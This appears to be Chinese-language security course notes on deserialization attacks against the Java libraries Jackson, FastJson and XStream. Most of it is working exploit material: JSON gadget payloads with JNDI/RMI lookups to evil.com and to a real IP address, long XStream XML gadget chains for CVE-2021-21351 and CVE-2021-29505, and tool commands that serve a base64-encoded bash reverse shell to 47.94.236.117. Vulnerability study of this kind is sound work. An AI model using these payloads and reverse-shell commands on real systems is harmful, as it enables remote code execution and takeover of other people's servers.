知识点
1、J2EE-组件Jackson-本地demo&CVE(数据处理)
2、J2EE-组件FastJson-本地demo&CVE(数据处理)
3、J2EE-组件XStream-本地demo&CVE(数据处理)
章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等 JAVA:Spring MyBatis
Hibernate Struts2 Springboot等 Python:Django Flask Bottle Turbobars
Tornado Web2py等 Javascript:Vue.js Node.js Bootstrap JQuery Angular等
常见语言开发组件:(Java)
Apache Solr、Apache Shiro、Apache Struts2、Apache
Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache
hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba
FastJson、Jackson、Log4J、XSteam等。
黑盒检测:
Java应用 请求参数数据以json/xml格式发送测试
黑盒判断:
通过提交数据报错信息得到什么组件
xml格式(xstream) 或 json 格式(fastjson jackson)
白盒审计:
直接看引用组件版本
一、演示案例-J2EE-组件Jackson-本地demo&CVE
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
代码执行 (CVE-2020-8840)
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
代码执行 (CVE-2020-35728)
影响版本
FasterXML jackson-databind 2.x < 2.9.10.8
String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";
二、演示案例-J2EE-组件FastJson-本地demo&CVE
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。重点就是:不同版本的fastjson,不同的poc
利用POC项目:
https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)
FastJson <= 1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/TouchFile","autoCommit":true}
}
FastJson <= 1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/Exploit","autoCommit":true}
}
FastJson <= 1.2.80 (利用条件比较苛刻)
利用poc只能用源码项目中调用的第三方库或者组件(类)等
在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)
利用POC:
https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)
三、演示案例-J2EE-组件XStream-靶场&CVE
开源Java类库,能将对象序列化成XML或XML反序列化为对象
代码执行 (CVE-2021-21351)
影响版本:
Xstream<=1.4.15
1、生成反弹Shell的JNDI注入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
2、构造JNDI注入Payload以POST方式提交
<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__overrideDefaultParser>false</__overrideDefaultParser><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>rmi://evil-ip:1099/example</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParse reference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
代码执行 (CVE-2021-29505)
影响版本
XStream <= 1.4.16
1、生成反弹Shell的反序列化JNDI注入
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
2、构造反序列化JNDI注入Payload以POST方式提交
<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>evil-ip</string><int>1099</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>evil-ip</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>